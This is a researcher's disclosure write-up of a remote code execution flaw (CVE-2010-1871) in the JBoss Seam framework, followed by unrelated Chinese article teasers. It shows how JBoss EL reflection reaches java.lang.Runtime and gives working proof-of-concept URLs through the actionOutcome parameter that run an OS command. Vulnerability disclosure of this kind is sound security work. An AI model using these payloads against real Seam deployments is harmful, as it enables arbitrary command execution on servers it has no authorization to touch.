JBoss Seam Framework remote code execution

简介:  Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions.
 Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions. Having any sort of custom expression language in a web framework is always a sign of potential vulnerabilities (see  CVE-2010-1870 for another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing it.

JBoss EL
JBoss expression language provides all the normal features you'd expect:
  • Method calling:  #{hotelBooking.bookHotel(hotel)}
  • Property retrieval: #{person.name}
  • Projection (iteration): #{company.departments.{d|d.name}}
Variables referenced (e.g.  hotelBooking person company ) are resolved using various EL resolvers(extend  javax.el.ELResolver ), such as com.sun.faces.el.ImplicitObjectELResolver (use 'guest' username to view) or SeamELResolver. These resolvers let you reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's developer and not user, since it's possible to reach any other class and it's methods using  java.lang.Class  and reflection API. For example, we can obtain reference to the class representing java.lang.Runtime as follows ( expressions  is one of the base objects available by default, but any other object will do, e.g.  request ):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

to invoke 19th method in the array returned by  getDeclaredMethods() :

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass  null, you'll have to provide an instance of the class to invoke the  method on to the  invoke()  call. you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of  java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))


CVE-2010-1871: actionOutcome is remote code execution

After stepping through the  sample booking app , I've come across org.jboss.seam.navigation.Pages.callAction() which takes value of the  actionOutcome  HTTP parameter and eventually passes it to JSF NavigationHandler's  handleNavigation  method (use 'guest' username with empty password to view). SeamNavigationHandler is Seam's implementation of JSF NavigationHandler and looking at its  handleNavigation()  you can see that if action outcome starts with / (checked by  isOutcomeViewId()  method) then it's passed to FacesManager.instance().interpolateAndRedirect() method which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator. Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at /pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to /pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the getDeclaredMethods() method:
1)  public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2) public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around 24 methods in total).


Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}


upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:


/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful java.lang.Runtime.exec() call.


Timeline
July 19 - initial report.
July 22 - fix committed. Developers blacklisted # and { characters in actionOutcome .
July 27 - JBoss Seam team releases the fix for  JBoss Enterprise Application Platform only . Note, however, that vulnerability has nothing to do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.
目录
相关文章
Debian 官方源换为国内的源的操作方法
apt-get update 报错,采用更换源的方式解决问题。
58035 0
|
4月前
|
数据采集 存储 安全
数据治理≠数据管理!90%的企业都搞错了重点!
在数字化转型中,数据不一致、质量差、安全隐患等问题困扰企业。许多组织跳过基础的数据管理,直接进行数据治理,导致方案难以落地。数据管理涵盖数据生命周期中的采集、存储、处理等关键环节,决定了数据是否可用、可靠。本文详解数据管理的四大核心模块——数据质量、元数据、主数据与数据安全,并提供构建数据管理体系的四个阶段:评估现状、确定优先级、建立基础能力与持续改进,助力企业夯实数据基础,推动治理落地。
|
6月前
|
缓存 监控 Java
90%电商踩过的API坑:这10个教训让你年省百万
本文总结电商API开发中的10大关键教训,涵盖数据安全、版本兼容与成本控制,结合真实案例与技术方案,助力企业规避风险、提升效率,实现稳定高效的数字化转型。
|
10月前
|
算法 数据建模 应用服务中间件
阿里云2025智惠采购季,WoSign SSL证书优惠叠加使用攻略
阿里云2025智惠采购季,WoSign SSL证书折上折满减优惠!活动月期间(2025年03月01日至03月31日)活动折扣叠加满减优惠券,具体如何操作才能获取组合优惠价格呢?快来get优惠券组合使用攻略吧!
753 4
|
11月前
|
存储 缓存 网络协议
为什么有了MAC还需要IP?
通过上述分析和解释,我们可以清晰地看到为什么在计算机网络中既需要MAC地址也需要IP地址。它们各自的功能和作用相辅相成,共同确保了网络通信的有效性和灵活性。
401 9
|
10月前
|
NoSQL 关系型数据库 MongoDB
微服务——MongoDB常用命令——集合操作
本节主要介绍MongoDB中的集合操作,包括显式与隐式创建集合的方法。显式创建使用`db.createCollection(name)`,需遵循命名规范(如不能以&quot;system.&quot;开头或包含`\0`字符)。隐式创建则通过直接向不存在的集合插入文档实现,更为常用。此外,还介绍了集合删除方法`db.collection.drop()`及其返回值规则,帮助用户管理数据库中的集合资源。
396 0
|
存储 Java
【数据结构】优先级队列(堆)从实现到应用详解
本文介绍了优先级队列的概念及其底层数据结构——堆。优先级队列根据元素的优先级而非插入顺序进行出队操作。JDK1.8中的`PriorityQueue`使用堆实现,堆分为大根堆和小根堆。大根堆中每个节点的值都不小于其子节点的值,小根堆则相反。文章详细讲解了如何通过数组模拟实现堆,并提供了创建、插入、删除以及获取堆顶元素的具体步骤。此外,还介绍了堆排序及解决Top K问题的应用,并展示了Java中`PriorityQueue`的基本用法和注意事项。
383 5
【数据结构】优先级队列(堆)从实现到应用详解
|
存储 Ubuntu Linux
如何在 Ubuntu 12.04 上使用 Apache 配置 WebDAV 访问
如何在 Ubuntu 12.04 上使用 Apache 配置 WebDAV 访问
426 0
|
编解码 数据可视化 搜索推荐
2. figure 常见属性
2. figure 常见属性
472 1
|
运维 搜索推荐 Linux
计算机基础,以及实施运维工程师介绍
计算机基础,以及实施运维工程师介绍
525 0